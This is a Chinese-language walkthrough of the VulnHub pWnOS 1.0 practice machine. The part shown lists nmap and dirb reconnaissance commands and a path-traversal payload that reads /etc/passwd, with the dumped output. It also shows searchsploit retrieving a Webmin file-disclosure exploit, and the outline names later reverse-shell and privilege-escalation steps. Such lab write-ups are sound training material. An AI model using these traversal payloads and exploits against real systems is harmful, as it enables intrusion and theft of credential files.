009 - VulnHub靶机:pWnOS1.0学习笔记——文件包含+密码破解+Perl Cgi反弹shell + linux内核漏洞提权+shellshock漏洞提权
目录
# 学习环境准备
解法一
一、总结
二、详细过程
1. 信息收集
1.1 主机发现
1.2.1 TCP端口开放情况扫描
编辑
1.UDP端口开放情况扫描
1.3 端口详细信息扫描
1.4 nmap漏洞脚本扫描
1.5 目录扫描
2. 80端口web服务渗透测试
2.1 web页面漏洞查找
2.2 文件包含漏洞利用
2.3 其他页面查看
3. 10000端口web服务渗透测试
3.1 web页面漏洞查找
3.2 searchsploit漏洞查找
3.3 下载.pl扩展名的漏洞脚本
3.4 任意文件读取漏洞利用
3.4.1 查看/etc/passwd
3.4.2 查看/etc/shadow
3.5 john密码破解
3.6 ssh获取服务器权限
4 权限提示
4.1 服务器文件权限分析
4.2 webshell制作
4.2.1 为什么要使用.cgi作为shell文件的扩展名
4.3 webshell上传
4.4 perl cgi反弹shell获取root权限
解法二
一、总结
二、详细过程
1. 利用解法一的任意文件读取漏洞查看/etc/passwd
1.1 思路:当我们看到/etc/passwd文件中存在多个用户的时候,我们要想一下这些用户有没有ssh相应的文件
2. 查看ssh密钥信息
2.1 思路:当我们遇到文件泄露应该怎么去利用?
3. 用公钥信息破解出私钥
4. 使用破解到的私钥ssh服务器
4.1 思路:渗透测试过程中ssh,经常会碰到因为版本的问题、协议的问题、加密方式的问题,导致ssh登录的过程提示各种报错,要学会解决这些问题。
5. 权限提升
5.1 linux内核提权
5.1.1 linux内核版本漏洞搜索、分析及选择
5.1.2 漏洞脚本上传及利用
5.2 shellshock提权
5.2.1 shellshock漏洞分析及验证
5.2.1.1 思路:bash版本小于4.3,一般会存在shellshock漏洞
5.2.2 shellshock漏洞利用
5.2.2.1 2017.pl漏洞脚本分析
5.2.2.2 shellshock漏洞利用
# 学习环境准备
靶机下载地址:pWnOS: 1.0 ~ VulnHub
攻击机Kali ip:10.10.10.128
解法一
一、总结
1.1 主机发现
sudo nmap -sn 10.10.10.0/24
1.2.1 端口开放情况扫描
sudo nmap -sT --min-rate=10000 -p- 10.10.10.136
1.2.2 UDP端口开放情况扫描
sudo nmap -sU --min-rate=10000 -p- 10.10.10.136
1.3 端口详细信息扫描
sudo nmap -sT -sV -O -p 22,80,139,445,10000 10.10.10.136
1.4 nmap漏洞脚本扫描
sudo nmap --script=vuln -p 22,80,139,445,10000 10.10.10.136
1.5 目录扫描
dirb http://10.10.10.136
2.1 80页面漏洞查找
2.2 利用文件包含漏洞查看/etc/passwd
3.1 10000页面漏洞查找
3.2 searchsploit webmin 查找可利用漏洞
3.3 利用任意文件读取漏洞查看/etc/shadow
3.4 john破解密码
3.5 ssh连接服务器,分析服务器文件信息,发现webmin目录是root权限运行的,可以利用权限配置不当进行提权
4.1 webshell上传
4.2 perl cgi反弹shell获取root权限
二、详细过程
1. 信息收集
1.1 主机发现
sudo nmap -sn 10.10.10.0/24
1.2.1 TCP端口开放情况扫描
sudo nmap -sT --min-rate=10000 -p- 10.10.10.136
1.UDP端口开放情况扫描
sudo nmap -sU --min-rate=10000 -p- 10.10.10.136
1.3 端口详细信息扫描
sudo nmap -sT -sV -O -p 22,80,139,445,10000 10.10.10.136
1.4 nmap漏洞脚本扫描
sudo nmap --script=vuln -p 22,80,139,445,10000 10.10.10.136
1.5 目录扫描
sudo dirb http://10.10.10.136
2. 80端口web服务渗透测试
2.1 web页面漏洞查找
点击next,跳转至另一个页面
点击Please Help! 跳转至新页面,发现了?name,尝试一下文件包含
2.2 文件包含漏洞利用
../../../../../etc/passwd
被骂了,这个页面文件包含好像没什么用
返回上一个页面,再试试文件包含
又报错了,报错信息显示include()尝试打开一个空字符串 '' 作为文件名。因为这是一个无效的文件路径,PHP无法找到要包含的文件,所以引发了这个警告。
证明是有文件包含的功能的,只是想要打开的文件不是我们输入的'../../../../../etc/passwd',那我们尝试一下其他参数,多试试总不会有错
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bas
再试试etc/shadow
访问被拒绝了,应该是权限不够。/etc/shadow一般需要root权限才可以访问
2.3 其他页面查看
刚才目录扫描发现了其他几个页面,访问php
有一个 phpMyAdmin路径,需要进行登录,我们没有密码,尝试其他路径
3. 10000端口web服务渗透测试
3.1 web页面漏洞查找
发现了Webmin关键字,应该是一个CMS
3.2 searchsploit漏洞查找
sudo searchsploit webmin
打靶机尽量不选择metasploit的,分析一下搜索结果选择这两任意文件泄露的漏洞脚本进行利用
3.3 下载.pl扩展名的漏洞脚本
sudo searchsploit webmin -m 2017、
使用了 searchsploit 工具来搜索 Exploit Database(Exploit-DB)中的漏洞利用,然后将其镜像(复制)到当前目录。
-m 是镜像选项,表示将漏洞利用代码复制到当前目录。
2017 是 Exploit Database 的漏洞利用编号(EDB-ID)。
漏洞脚本详细信息:Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure - Multiple remote ExploitWebmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure . CVE-2006-3392 . remote exploit for Multiple platformhttps://www.exploit-db.com/exploits/2017